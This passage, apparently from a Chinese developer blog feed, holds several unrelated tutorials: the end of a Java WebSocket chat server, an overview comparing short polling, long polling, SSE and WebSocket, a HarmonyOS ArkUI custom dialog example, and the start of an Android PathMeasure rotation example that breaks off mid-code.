public void onClose(WebSocket conn, int code, String reason, boolean remote) {
System.out.println("Closed connection to: " + conn.getRemoteSocketAddress().getAddress().getHostAddress());
}

@Override
public void onMessage(WebSocket conn, String message) {
System.out.println("Received message: " + message);
// Broadcast the message to all connected clients
broadcast(message);
}

@Override
public void onError(WebSocket conn, Exception ex) {
System.err.println("Error on connection: " + ex.getMessage());
}

@Override
public void onStart() {
}

public static void main(String[] args) {
int port = 8888;
ChatServer server = new ChatServer(port);
server.start();
System.out.println("WebSocket Server started on port: " + port);
}
}

总结



  • WebSocket 是一种在客户端和服务器之间建立实时双向通信的协议。具备全双工、低延迟等优点,适用于实时聊天、多人协助、实时数据展示等场景。


参考



个人简介


👋 你好,我是 Lorin 洛林,一位 Java 后端技术开发者!座右铭:Technology has the power to make the world a better place.


🚀 我对技术的热情是我不断学习和分享的动力。我的博客是一个关于Java生态系统、后端开发和最新技术趋势的地方。


🧠 作为一个 Java 后端技术爱好者,我不仅热衷于探索语言的新特性和技术的深度,还热衷于分享我的见解和最佳实践。我相信知识的分享和社区合作可以帮助我们共同成长。


💡 在我的博客上,你将找到关于Java核心概念、JVM 底层技术、常用框架如Spring和Mybatis 、MySQL等数据库管理、RabbitMQ、Rocketmq等消息中间件、性能优化等内容的深入文章。我也将分享一些编程技巧和解决问题的方法,以帮助你更好地掌握Java编程。


🌐 我鼓励互动和建立社区,因此请留下你的问题、建议或主题请求,让我知道你感兴趣的内容。此外,我将分享最新的互联网和技术资讯,以确保你与技术世界的最新发展保持联系。我期待与你一起在技术之路上前进,一起探讨技术世界的无限可能性。


作者:Lorin洛林
来源:juejin.cn/post/7304182487684415514
收起阅读 »

IM通信技术快速入门:短轮询、长轮询、SSE、WebSocket

前言 哈啰,大家好,我是洛林,对Web端即时通讯技术熟悉的开发者来说,回顾整个网页端IM的底层通信技术发展,从短轮询、长轮询,到后来的SSE以及WebSocket,我们使用的技术越来越先进,使用门槛也越来越低,给大家带来的网页端体验也越来越好。我在前面的的《...
继续阅读 »

前言



  • 哈啰,大家好,我是洛林,对Web端即时通讯技术熟悉的开发者来说,回顾整个网页端IM的底层通信技术发展,从短轮询、长轮询,到后来的SSE以及WebSocket,我们使用的技术越来越先进,使用门槛也越来越低,给大家带来的网页端体验也越来越好。我在前面的的《3分钟使用 WebSocket 搭建属于自己的聊天室(WebSocket 原理、应用解析)》一文中介绍了众所熟知的WebSocket的技术,当其它的一些技术并不是没有用武之地,比如就以扫码登录而言,短轮询或长轮询就非常合适,完全没有使用大炮打蚊子的必要。

  • 因此,我们很多时候没有必要盲目追求新技术,而是适合场景的技术才是最好的技术,掌握WebSocket这些主流新技术固然重要,但了解短轮询、长轮询等所谓的“老技术”仍然大有裨益,这就是我分享这篇技术的原因。


即时通讯



  • 对于IM/消息推送这类即时通讯系统而言,系统的关键就是“实时通信”能力。所谓实时通信有以下两层含义:


1、客户端可以主动向服务端发送信息。
2、当服务端内容发生变化时,服务端可以实时通知客户端。

常用技术



  • 客户端轮询:传统意义上的短轮询(Short Polling)

  • 服务器端轮询:长轮询(Long Polling)

  • 单向服务器推送:Server-Sent Events(SSE)

  • 全双工通信:WebSocket


短轮询(Short Polling)


实现原理



  • 客户端向服务器端发送一个请求,服务器返回数据,然后客户端根据服务器端返回的数据进行处理。

  • 客户端继续向服务器端发送请求,继续重复以上的步骤。(为了减小服务端压力一般会采用定时轮询的方式)


短轮询通信过程


优点



  • 实现简单,不需要额外开发,仅需要定时发起请求,解析响应即可。


缺点



  • 不断的发起请求和关闭请求,性能损耗以及对服务端的压力较大,且HTTP请求本身本身比较耗费资源。

  • 轮询间隔不好控制。如果实时性要求较高,短轮询是明显的短板,但如果设置太长,会导致消息延迟。


长轮询(Long Polling)


实现原理



  • 客户端发送一个请求,服务器会hold住这个请求。

  • 直到监听的内容有改变,才会返回数据,断开连接(或者在一定的时间内,请求还得不到返回,就会因为超时自动断开连接);

  • 客户端继续发送请求,重复以上步骤。


长轮询通信过程


改进点



  • 长轮询是基于短轮询上的改进版本:减少了客户端发起Http连接的开销,改成在服务器端主动地去判断关注的内容是否变化。


基于iframe的长轮询



  • 基于iframe的长轮询是长轮询的另一种实现方案。


实现原理



  • 在页面中嵌入一个iframe,地址指向轮询的服务器地址,然后在父页面中放置一个执行函数,比如execute(data);

  • 当服务器有内容改变时,会向iframe发送一个脚本;

  • 通过发送的脚本,主动执行父页面中的方法,达到推送的效果。


总结



  • 基于iframe的长轮询底层还是长轮询技术,只是实现方式不同,而且在浏览器上会显示请求未加载完成,图标会不停旋转,简直是强迫症杀手,个人不是很推荐。


iframe长轮询


Server-Sent Events(SSE)



  • 上面介绍的短轮询和长轮询技术,服务器端是无法主动给客户端推送消息的,都是客户端主动去请求服务器端获取最新的数据。而SSE是一种可以主动从服务端推送消息的技术。

  • SSE的本质其实就是一个HTTP的长连接,只不过它给客户端发送的不是一次性的数据包,而是一个stream流,格式为text/event-stream。所以客户端不会关闭连接,会一直等着服务器发过来的新的数据流。


实现原理



  • 客户端向服务端发起HTTP长连接,服务端返回stream响应流。客户端收到stream响应流并不会关闭连接而是一直等待服务端发送新的数据流。


SSE通信过程


浏览器对 SSE 的支持情况


浏览器对 SSE 的支持情况


SSE vs WebSocket



  • SSE 使用 HTTP 协议,现有的服务器软件都支持。WebSocket 是一个独立协议。

  • SSE 属于轻量级,使用简单;WebSocket 协议相对复杂。

  • SSE 默认支持断线重连,WebSocket 需要自己实现。

  • SSE 一般只用来传送文本,二进制数据需要编码后传送,WebSocket 默认支持传送二进制数据。

  • SSE 支持自定义发送的消息类型。


总结



  • 对于仅需要服务端向客户端推送数据的场景,我们可以考虑实现更加简单的 SSE 而不是直接使用 WebSocket。


WebSocket



  • WebSocket 是一种网络传输协议,可在单个 TCP 连接上进行全双工通信,位于 OSI 模型的应用层。

  • WebSocket 使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据。客户端和服务器只需要完成一次握手,两者之间就可以创建持久性的连接,并进行双向数据传输。


实现原理



  • 客户端发送一个 HTTP GET 请求到服务器,请求的路径是 WebSocket 的路径(类似 ws://example.com/socket)。请求中包含一些特殊的头字段,如 Upgrade: websocket 和 Connection: Upgrade,以表明客户端希望升级连接为 WebSocket。

  • 服务器收到这个请求后,会返回一个 HTTP 101 状态码(协议切换协议)。同样在响应头中包含 Upgrade: websocket 和 Connection: Upgrade,以及一些其他的 WebSocket 特定的头字段,例如 Sec-WebSocket-Accept,用于验证握手的合法性。

  • 客户端和服务器之间的连接从普通的 HTTP 连接升级为 WebSocket 连接。之后,客户端和服务器之间的通信就变成了 WebSocket 帧的传输,而不再是普通的 HTTP 请求和响应,客户端和服务端相互进行通信。


WebSocket通信过程


优点



  • 实时性: WebSocket 提供了双向通信,服务器可以主动向客户端推送数据,实现实时性非常高,适用于实时聊天、在线协作等应用。

  • 减少网络延迟: 与轮询和长轮询相比,WebSocket 可以显著减少网络延迟,因为不需要在每个请求之间建立和关闭连接。

  • 较小的数据传输开销: WebSocket 的数据帧相比于 HTTP 请求报文较小,减少了在每个请求中传输的开销,特别适用于需要频繁通信的应用。

  • 较低的服务器资源占用: 由于 WebSocket 的长连接特性,服务器可以处理更多的并发连接,相较于短连接有更低的资源占用。

  • 跨域通信: 与一些其他跨域通信方法相比,WebSocket 更容易实现跨域通信。


缺点



  • 连接状态保持: 长时间保持连接可能会导致服务器和客户端都需要维护连接状态,可能增加一些负担。

  • 不适用于所有场景: 对于一些请求-响应模式较为简单的场景,WebSocket 的实时特性可能并不是必要的,使用 HTTP 请求可能更为合适。

  • 复杂性: 与传统的 HTTP 请求相比,WebSocket 的实现和管理可能稍显复杂,尤其是在处理连接状态、异常等方面。


更多



总结



  • 在本文中我们介绍了IM通信技术中的常用四种技术:短轮询、长轮询、SSE、WebSocket,使用时可以综合我们的实际场景选择合适的通信技术,在复杂的应用场景中,我们可能需要结合不同的技术满足不同的需求,下面是一些常见的考虑因素:


实时性要求



  • 如果实时性要求较低,短轮询或长轮询可能足够;如果需要实时性较高,考虑使用SSE或WebSocket,若仅需要服务端推送,尽可能考虑SSE。


网络和服务器资源



  • 短轮询和长轮询可能会产生较多的无效请求,增加带宽和服务器负担;SSE和WebSocket相对更高效。


个人简介


👋 你好,我是 Lorin 洛林,一位 Java 后端技术开发者!座右铭:Technology has the power to make the world a better place.


🚀 我对技术的热情是我不断学习和分享的动力。我的博客是一个关于Java生态系统、后端开发和最新技术趋势的地方。


🧠 作为一个 Java 后端技术爱好者,我不仅热衷于探索语言的新特性和技术的深度,还热衷于分享我的见解和最佳实践。我相信知识的分享和社区合作可以帮助我们共同成长。


💡 在我的博客上,你将找到关于Java核心概念、JVM 底层技术、常用框架如Spring和Mybatis 、MySQL等数据库管理、RabbitMQ、Rocketmq等消息中间件、性能优化等内容的深入文章。我也将分享一些编程技巧和解决问题的方法,以帮助你更好地掌握Java编程。


🌐 我鼓励互动和建立社区,因此请留下你的问题、建议或主题请求,让我知道你感兴趣的内容。此外,我将分享最新的互联网和技术资讯,以确保你与技术世界的最新发展保持联系。我期待与你一起在技术之路上前进,一起探讨技术世界的无限可能性。


📖 保持关注我的博客,让我们共同追求技术卓越。


作者:Lorin洛林
来源:juejin.cn/post/7305473943572578341
收起阅读 »

鸿蒙 akr ui 自定义弹窗实现教程

前言 各位同学有段时间没有见面 因为一直很忙所以就没有去更新博客。最近有在学习这个鸿蒙的ark ui开发 因为鸿蒙不是发布了一个鸿蒙next的测试版本 明年会启动纯血鸿蒙应用 所以我就想提前给大家写一些博客文章 效果图 具体实现: 1 弹窗部分布局 ...
继续阅读 »

前言


各位同学有段时间没有见面 因为一直很忙所以就没有去更新博客。最近有在学习这个鸿蒙的ark ui开发 因为鸿蒙不是发布了一个鸿蒙next的测试版本 明年会启动纯血鸿蒙应用 所以我就想提前给大家写一些博客文章


效果图


image.png


具体实现:




  • 1 弹窗部分布局




image.png


@CustomDialog
struct CustomDialogExample {
@Link textValue: string
@Link inputValue: string
controller: CustomDialogController
// 若尝试在CustomDialog中传入多个其他的Controller,以
// 实现在CustomDialog中打开另一个或另一些CustomDialog,
// 那么此处需要将指向自己的controller放在最后
cancel: () => void
confirm: () => void

build() {
Column() {
Text('改变文本').fontSize(20).margin({ top: 10, bottom: 10 })
TextInput({ placeholder: '', text: this.textValue }).height(60).width('90%')
.onChange((value: string) => {
this.textValue = value
})
Text('是否更改文本?').fontSize(16).margin({top:20, bottom: 10 })
Flex({ justifyContent: FlexAlign.SpaceAround }) {
Button('取消')
.onClick(() => {
this.controller.close()
this.cancel()
}).backgroundColor(0xffffff).fontColor(Color.Black)
Button('确认')
.onClick(() => {
this.inputValue = this.textValue
this.controller.close()
this.confirm()
}).backgroundColor(0xffffff).fontColor(Color.Red)
}.margin({ top:20,bottom: 10 })
}.height('40%')
// dialog默认的borderRadius为24vp,如果需要使用border属性,请和borderRadius属性一起使用。
}
}

这边我们使用 Column 嵌套2个 text和一个 Flex 里面在嵌套2个 text来实现 :然后2个回调方法


控制器实现:


@Entry
@Component
struct CustomDialogUser {
@State textValue: string = ''
@State inputValue: string = '点击改变'
dialogController: CustomDialogController = new CustomDialogController({
builder: CustomDialogExample({
cancel: this.onCancel,
confirm: this.onAccept,
textValue: $textValue,
inputValue: $inputValue
}),
cancel: this.existApp,
autoCancel: true,
alignment: DialogAlignment.Center,
offset: { dx: 0, dy: -20 },
gridCount: 4,
customStyle: false
})

// 在自定义组件即将析构销毁时将dialogController置空
aboutToDisappear() {
this.dialogController = undefined // 将dialogController置空
}

onCancel() {
console.info('Callback when the first button is clicked')
}

onAccept() {
console.info('Callback when the second button is clicked')
}

existApp() {
console.info('点击退出app ')
}

build() {
Column() {
Button(this.inputValue)
.onClick(() => {
if (this.dialogController != undefined) {
this.dialogController.open()
}
}).backgroundColor(0x317aff)
}.width('100%').margin({ top: 50})
}
}

我们实现一个控制器容纳再 弹窗的构造方法里面设置 回调和我们的弹窗弹出位置:


dialogController: CustomDialogController = new CustomDialogController({
builder: CustomDialogExample({
cancel: this.onCancel,
confirm: this.onAccept,
textValue: $textValue,
inputValue: $inputValue
}),
cancel: this.existApp,
autoCancel: true,
alignment: DialogAlignment.Center,
offset: { dx: 0, dy: -20 },
gridCount: 4,
customStyle: false
})

在我们button点击后弹出


build() {
Column() {
Button(this.inputValue)
.onClick(() => {
if (this.dialogController != undefined) {
this.dialogController.open()
}
}).backgroundColor(0x317aff)
}.width('100%').margin({ top: 50})
}

在自定义组件即将析构销毁时将controller置空


// 在自定义组件即将析构销毁时将dialogController置空
aboutToDisappear() {
this.dialogController = undefined // 将dialogController置空
}

完整代码 :






// xxx.ets
@CustomDialog
struct CustomDialogExample {
@Link textValue: string
@Link inputValue: string
controller: CustomDialogController
// 若尝试在CustomDialog中传入多个其他的Controller,以
// 实现在CustomDialog中打开另一个或另一些CustomDialog,
// 那么此处需要将指向自己的controller放在最后
cancel: () => void
confirm: () => void

build() {
Column() {
Text('改变文本').fontSize(20).margin({ top: 10, bottom: 10 })
TextInput({ placeholder: '', text: this.textValue }).height(60).width('90%')
.onChange((value: string) => {
this.textValue = value
})
Text('是否更改文本?').fontSize(16).margin({top:20, bottom: 10 })
Flex({ justifyContent: FlexAlign.SpaceAround }) {
Button('取消')
.onClick(() => {
this.controller.close()
this.cancel()
}).backgroundColor(0xffffff).fontColor(Color.Black)
Button('确认')
.onClick(() => {
this.inputValue = this.textValue
this.controller.close()
this.confirm()
}).backgroundColor(0xffffff).fontColor(Color.Red)
}.margin({ top:20,bottom: 10 })
}.height('40%')
// dialog默认的borderRadius为24vp,如果需要使用border属性,请和borderRadius属性一起使用。
}
}






@Entry
@Component
struct CustomDialogUser {
@State textValue: string = ''
@State inputValue: string = '点击改变'
dialogController: CustomDialogController = new CustomDialogController({
builder: CustomDialogExample({
cancel: this.onCancel,
confirm: this.onAccept,
textValue: $textValue,
inputValue: $inputValue
}),
cancel: this.existApp,
autoCancel: true,
alignment: DialogAlignment.Center,
offset: { dx: 0, dy: -20 },
gridCount: 4,
customStyle: false
})

// 在自定义组件即将析构销毁时将dialogController置空
aboutToDisappear() {
this.dialogController = undefined // 将dialogController置空
}

onCancel() {
console.info('Callback when the first button is clicked')
}

onAccept() {
console.info('Callback when the second button is clicked')
}

existApp() {
console.info('点击退出app ')
}

build() {
Column() {
Button(this.inputValue)
.onClick(() => {
if (this.dialogController != undefined) {
this.dialogController.open()
}
}).backgroundColor(0x317aff)
}.width('100%').margin({ top: 50})
}
}

最后总结:


鸿蒙ark ui 里面的自定义弹窗和我们安卓还有flutter里面的差不多我们学会自定义弹窗理论上那些 警告弹窗 列表选择器弹窗, 日期滑动选择器弹窗 ,时间滑动选择器弹窗 ,文本滑动选择器弹窗 ,我们都是可以自己自定义实现的。这里就不展开讲有兴趣的同学可以自己多花时间研究实现一下,最后呢 希望我都文章能帮助到各位同学工作和学习 如果你觉得文章还不错麻烦给我三连 关注点赞和转发 谢谢


作者:坚果派_xq9527
来源:juejin.cn/post/7305983336496496650
收起阅读 »

MinIO是干嘛的?

一、MinIO是干嘛的? 网上搜索“minio是干嘛的”这个问题搜索的太多了,我们感觉是我们的工作没有做好才给大家造成了这么大的信息差。在这里,我们有义务将信息差补齐。 先正面回答问题: MinIO是一种SDS(软件定义存储)的分布式存储软件,用来进行构建独...
继续阅读 »

一、MinIO是干嘛的?


网上搜索“minio是干嘛的”这个问题搜索的太多了,我们感觉是我们的工作没有做好才给大家造成了这么大的信息差。在这里,我们有义务将信息差补齐。


先正面回答问题:



MinIO是一种SDS(软件定义存储)的分布式存储软件,用来进行构建独立、私有化、公有云、边缘网络的对象存储软件。
它是一个开源的软件,原来遵循的是Apache协议,在2021年4月22日修改为了AGPL v3.0协议。
如果遵守软件许可协议使用,你几乎可以免费使用它。



二、MinIO的解释好复杂,给我一个简单点的解释行吗?


很多朋友又提到了下面的问题:
“你上午说了那么大一段,我根本不明白是什么意思呀?你能简单点一说一下到底是干嘛的,为什么要用MinIO吗?”


好的,我们提取一些关键词:



  1. SDS,软件定义存储

  2. 分布式存储

  3. 对象存储

  4. 私有云存储

  5. 公有云存储

  6. 边缘网络

  7. apche协议

  8. AGPL v3.0协议


我们针对上面的回答清楚后,再来理解最上面的一句话就好理解了。


三、名词解释


3.1 SDS(软件定义存储)


传统的存储设备都是有专用硬件的。但是,CPU的算力迅猛增长,算力不再是问题了。并且,也不需要再次购买专用硬件了。
基于CPU强大的算力,用软件实现和定义的分布式存储,即便宜、又安全、还省钱。
与传统硬件定义的存储价格相对可以节省成本3 - 7倍的费用。


3.2 分布式存储


传统的存储像NAS(网络附加存储)都是单节点的,如果出现网络通信故障,整个数据保障全部都会中断。因此,大家想到了一种办法:由多台服务器构建一个存储网络,任意一台存储服务器掉线都不会影响数据安全和服务的稳定。这个时候,就推出了分布式存储。


3.3 对象存储


最早的时候Google 开放了它全球 低成本存储的一篇实践论文,引起了全球的存储市场的震动。后来各家都基于Google开放的文档实现了自己的对象存储,极大的降低了自己企业的成本。其中:
亚马逊实现的对象存储叫S3;
阿里云实现了OSS(Object storage system);
Google实现的对象存储叫GCS(Google cloud storage);
微软实现的对象存储叫ABS(Azure Blob Storage);
百度实现的叫BOS;
国内其他厂商,包括七牛、青云、ceph等厂家也都实现了自己的对象存储系统。


在对象存储的内部使用URL进行统一资源定位,每一个对象相当于是一个URL,这样相比于传统的文件系统存储方式,对象存储更加灵活、可扩展性更强,更适合存储海量数据。
它最最大的优点在于:节约成本的同时,实现高可扩展性,它可以轻松地增加存储容量,而无需停机维护或中断服务。
而公开对象存储标准的是S3。因此,


3.4 私有云存储、公有云存储、边缘网络


公有云:一般由大公司如阿里、腾讯、百度等公司构建的公众(个人或者公司)可以直接在上面按量或按需租赁服务器、算力、存储空间的一种云计算产品。
私有云:私有云有更好的安全性、私密性、独立性,一般是由企业自己构建的云计算池资源。
边缘网络:一般是小型物联网设备或者家庭物联网设备,如家用电视、路由器、家用存储网关、工厂存储网关、汽车存储网关等。


3.5 Apache 协议和AGPL v3.0 协议


首先,国外讲究开源和普世价值观,好的东西分享给更多的人,所以马斯克的星舰、特斯拉的全部源代码、设计图全都开源了。


但是,需要让更多的人遵守一个开源规范,于是就有了一系列的开源协议如:Apache协议、AGPL v3.0协议。


Apache协议的特点:



  1. 代码派生:Apache 协议允许对代码进行修改、衍生和扩展,并且可以将这些修改后的代码重新发布。

  2. 私有使用:Apache 协议还允许将 Apache 许可的代码用于私有目的,而不需要公开发布或共享这些代码。

  3. 版权声明:Apache 协议要求所有代码都必须包含原始版权声明和许可证。

  4. 免责声明:Apache 协议明确规定,代码作者和 Apache 软件基金会不对任何因使用该软件而引起的风险和损失负责。

  5. 专利授权:Apache 协议明确规定,如果原始代码拥有人拥有相关专利,则授予使用该代码的公司和个人适当的专利授权。
    所以我们通常认为,Apache 协议是一种非常灵活和宽松的开源许可证,允许开源社区和商业公司根据自己的需求进行自由使用和分发代码。


AGPL v3.0开源协议的特点:


AGPL v3.0 协议要求在使用AGPL v3.0 许可的软件作为服务通过互联网向外提供服务时,必须公开源代码并允许其他人查看、修改和分发源代码。
这个开源协议有以下几个特点:



  1. 共享和公开源代码:AGPL v3.0 协议要求将使用该许可证的软件的源代码公开,并且所有基于该软件构建的应用程序都必须遵守该许可证的规定。

  2. 网络服务的限制:AGPL v3.0 协议适用于在网络上提供服务的软件,例如 Web 应用程序和 SaaS(Software as a Service)服务。如果使用许可证的软件被用于这些服务,那么相应的源代码必须公开。

  3. 贡献者权益保护:AGPL v3.0 协议还明确规定,任何对软件进行更改或修改的用户必须将其贡献回到原始项目中,以便其他人也可以自由地使用和修改这些更改。

  4. 版权声明:AGPL v3 协议要求在所有的副本和派生作品中包含原始版权和许可证声明。


总结,Apache开源协议更为宽松,而AGPL v3.0协议的权利义务要求更加严格一些。


四、MinIO是干嘛的?(总结)


4.1 温故而知新


上面我们解析了所有的内容,再读一次,我们的总结:



MinIO是一种SDS(软件定义存储)的分布式存储软件,用来进行构建独立、私有化、公有云、边缘网络的对象存储软件。
它是一个开源的软件,原来遵循的是Apache协议,在2021年4月22日修改为了AGPL v3.0协议。
如果遵守软件许可协议使用,你几乎可以免费使用它。



4.2 使用场景


说了一系列理论,不说使用场景就是耍(bu)流(yao)氓(lian)。


现在企业在开发的时候有一系列的要求:



  1. 不准在服务器进行本地文件写入;

  2. 要求写入必须要写入至统一对象存储中去。


这样的要求带来的好处就是:
每个人写入的时候,都写到了统一的存储数据湖中。如果有5台应用服务器需要快速扩容,可以瞬间再扩展5台服务器,构建10台服务器空间即可。所有的文件都存储于MinIO这样的对象存储中,扩容而不需要复制各台服务器中的文件。
这样就能实现业务的快速扩容啦。


你懂了吗?


作者:Python小甲鱼
来源:juejin.cn/post/7304531203772334115
收起阅读 »

WebSocket 鉴权实践:从入门到精通

web
WebSocket 作为实时通信的利器,越来越受到开发者的青睐。然而,为了确保通信的安全性和合法性,鉴权成为不可或缺的一环。本文将深入探讨 WebSocket 的鉴权机制,为你呈现一揽子的解决方案,确保你的 WebSocket 通信得心应手。 使用场景 We...
继续阅读 »

WebSocket 作为实时通信的利器,越来越受到开发者的青睐。然而,为了确保通信的安全性和合法性,鉴权成为不可或缺的一环。本文将深入探讨 WebSocket 的鉴权机制,为你呈现一揽子的解决方案,确保你的 WebSocket 通信得心应手。


alt


使用场景


WebSocket 鉴权在许多场景中都显得尤为重要。例如,实时聊天应用、在线协作工具、实时数据更新等情境都需要对 WebSocket 进行鉴权,以确保只有合法的用户或服务可以进行通信。通过本文的指导,你将更好地了解在何种场景下使用 WebSocket 鉴权是有意义的。


WebSocket 调试工具


要调试 WebSocket,那就需要一个好的调试工具,这里我比较推荐 Apifox。它支持调试 http(s)、WebSocket、Socket、gRPCDubbo 等多种协议的接口,这使得它成为了一个非常全面的接口测试工具!


alt


常见方法


方法 1:基于 Token 的鉴权


WebSocket 鉴权中,基于 Token 的方式是最为常见和灵活的一种。通过在连接时携带 Token,服务器可以验证用户的身份。以下是一个简单的示例:


const WebSocket = require('ws');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const token = req.headers['sec-websocket-protocol'];

// 验证token的合法性
if (isValidToken(token)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 2:基于签名的鉴权


另一种常见的鉴权方式是基于签名的方法。通过在连接时发送带有签名的信息,服务器验证签名的合法性。以下是一个简单的示例:


const WebSocket = require('ws');
const crypto = require('crypto');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const signature = req.headers['x-signature'];
const data = req.url + req.headers['sec-websocket-key'];

// 验证签名的合法性
if (isValidSignature(signature, data)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 3:基于 IP 白名单的鉴权


在某些情况下,你可能希望限制 WebSocket 连接只能来自特定 IP 地址范围。这时可以使用基于 IP 白名单的鉴权方式。


const WebSocket = require('ws');

const allowedIPs = ['192.168.0.1', '10.0.0.2'];

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', (socket, req) => {
const clientIP = req.connection.remoteAddress;

// 验证连接是否在白名单中
if (allowedIPs.includes(clientIP)) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
});

方法 4:基于 OAuth 认证的鉴权


在需要与现有身份验证系统集成时,OAuth 认证是一种常见的选择。通过在连接时使用 OAuth 令牌,服务器可以验证用户的身份。


const WebSocket = require('ws');
const axios = require('axios');

const server = new WebSocket.Server({ port: 3000 });

server.on('connection', async (socket, req) => {
const accessToken = req.headers['authorization'];

// 验证OAuth令牌的合法性
try {
const response = await axios.get('https://oauth-provider.com/verify', {
headers: { Authorization: `Bearer ${accessToken}` }
});

if (response.data.valid) {
// 鉴权通过,进行后续操作
socket.send('鉴权通过,欢迎连接!');
} else {
// 鉴权失败,关闭连接
socket.close();
}
} catch (error) {
// 验证失败,关闭连接
socket.close();
}
});

其他常见方法...


除了以上介绍的方式,还有一些其他的鉴权方法,如基于 API 密钥、HTTP 基本认证等。根据具体需求,选择最适合项目的方式。


实践案例


基于 Token 的鉴权实践



  1. 在 WebSocket 连接时,客户端携带 Token 信息。

  2. 服务器接收 Token 信息并验证其合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', ['Bearer YOUR_TOKEN']);

// 服务器端代码
server.on('connection', (socket, req) => {
const token = req.headers['sec-websocket-protocol'];

if (isValidToken(token)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于签名的鉴权实践



  1. 在 WebSocket 连接时,客户端计算签名并携带至服务器。

  2. 服务器接收签名信息,验证其合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', { headers: { 'X-Signature': calculateSignature() } });

// 服务器端代码
server.on('connection', (socket, req) => {
const signature = req.headers['x-signature'];
const data = req.url + req.headers['sec-websocket-key'];

if (isValidSignature(signature, data)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于 IP 白名单的鉴权实践



  1. 在 WebSocket 连接时,服务器获取客户端 IP 地址。

  2. 验证 IP 地址是否在白名单中。

  3. 根据验证结果,允许或拒绝连接。


// 服务器端代码
server.on('connection', (socket, req) => {
const clientIP = req.connection.remoteAddress;

if (allowedIPs.includes(clientIP)) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
});

基于 OAuth 认证的鉴权实践



  1. 在 WebSocket 连接时,客户端携带 OAuth 令牌。

  2. 服务器调用 OAuth 服务验证令牌的合法性。

  3. 根据验证结果,允许或拒绝连接。


// 客户端代码
const socket = new WebSocket('ws://localhost:3000', { headers: { 'Authorization': 'Bearer YOUR_ACCESS_TOKEN' } });

// 服务器端代码
server.on('connection', async (socket, req) => {
const accessToken = req.headers['authorization'];

try {
const response = await axios.get('https://oauth-provider.com/verify', {
headers: { Authorization: `Bearer ${accessToken}` }
});

if (response.data.valid) {
socket.send('鉴权通过,欢迎连接!');
} else {
socket.close();
}
} catch (error) {
socket.close();
}
});

提示、技巧和注意事项



  • 在选择鉴权方式时,要根据项目的实际需求和安全性要求进行合理选择。

  • 对于基于 Token 的鉴权,建议使用 JWT(JSON Web Token)来提高安全性。

  • 在验证失败时,及时关闭连接,以防止未授权的访问。


在 Apifox 中调试 WebSocket


如果你要调试 WebSocket 接口,并确保你的应用程序能够正常工作。这时,一个强大的接口测试工具就会派上用场。


Apifox 是一个比 Postman 更强大的接口测试工具,Apifox = Postman + Swagger + Mock + JMeter。它支持调试 http(s)、WebSocket、Socket、gRPC、Dubbo 等多种协议的接口,这使得它成为了一个非常全面的接口测试工具,所以强烈推荐去下载体验


首先在 Apifox 中新建一个 HTTP 项目,然后在项目中添加 WebSocket 接口。


alt


alt


接着输入 WebSocket 的服务端 URL,例如:ws://localhost:3000,然后保存并填写接口名称,然后确定即可。


alt


alt


点击“Message 选项”然后写入“你好啊,我是 Apifox”,然后点击发送,你会看到服务端和其它客户端都接收到了信息,非常方便,快去试试吧


alt


以下用 Node.js 写的 WebSocket 服务端和客户端均收到了消息。


alt


总结


通过本文的介绍,你应该对 WebSocket 鉴权有了更清晰的认识。不同的鉴权方式各有优劣,你可以根据具体情况选择最适合自己项目的方式。在保障通信安全的同时,也能提供更好的用户体验。


参考链接



学习更多:



作者:Hong1
来源:juejin.cn/post/7304839912875982884
收起阅读 »

Android Path路径旋转矩阵计算

一、前言 之前有一篇重点讲了三角形的绕环运动,主要重点内容是将不规则物体构造成一个正方形矩阵,便于计算中点,然后通过圆与切线的垂直关系计算出旋转角度。但实际上这种计算是利用了圆的特性,如果是不规则路径,物体该如何旋转呢 ? 实际上Android提供了一个非常强...
继续阅读 »

一、前言


之前有一篇重点讲了三角形的绕环运动,主要重点内容是将不规则物体构造成一个正方形矩阵,便于计算中点,然后通过圆与切线的垂直关系计算出旋转角度。但实际上这种计算是利用了圆的特性,如果是不规则路径,物体该如何旋转呢 ?


实际上Android提供了一个非常强大的工具——PathMeasure,可以通过片段计算出运动的向量,通过向量和x轴正方向的夹角的斜率就能计算出旋转角度 (这里就不推导了)。


二、效果预览



原理:


通过PathMeasure测量出position和正切的斜率,注意tan和position都是数组,[0]为x或者x方向,[1]为y或者为y方向,当然tan是带方向的矢量,计算公式是 A = ( x1-x2,y1-y2),这些是PathMeasure计算好的。


PathMeasure.getPosTan(mPathMeasure.getLength() * fraction, position, tan);

三、案例


下面是本篇自行车运行的轨迹


public class PathMoveView extends View {
private Bitmap mBikeBitmap;
// 圆路径
private Path mPath;
// 路径测量
private PathMeasure mPathMeasure;

// 当前移动值
private float fraction = 0;
private Matrix mBitmapMatrix;
private ValueAnimator animator;
// PathMeasure 测量过程中的坐标
private float[] position = new float[2];
// PathMeasure 测量过程中矢量方向与x轴夹角的的正切值
private float[] tan = new float[2];
private RectF rectHolder = new RectF();
private Paint mDrawerPaint;

public PathMoveView(Context context) {
super(context);
init(context);

}

public PathMoveView(Context context, AttributeSet attrs) {
super(context, attrs);
init(context);

}

public PathMoveView(Context context, AttributeSet attrs, int defStyleAttr) {
super(context, attrs, defStyleAttr);
init(context);
}

protected void init(Context context) {
// 初始化 画笔 [抗锯齿、不填充、红色、线条2px]
mDrawerPaint = new Paint();
mDrawerPaint.setAntiAlias(true);
mDrawerPaint.setStyle(Paint.Style.STROKE);
mDrawerPaint.setColor(Color.WHITE);
mDrawerPaint.setStrokeWidth(2);

// 获取图片
mBikeBitmap = BitmapFactory.decodeResource(context.getResources(), R.mipmap.ic_bike, null);
// 初始化矩阵
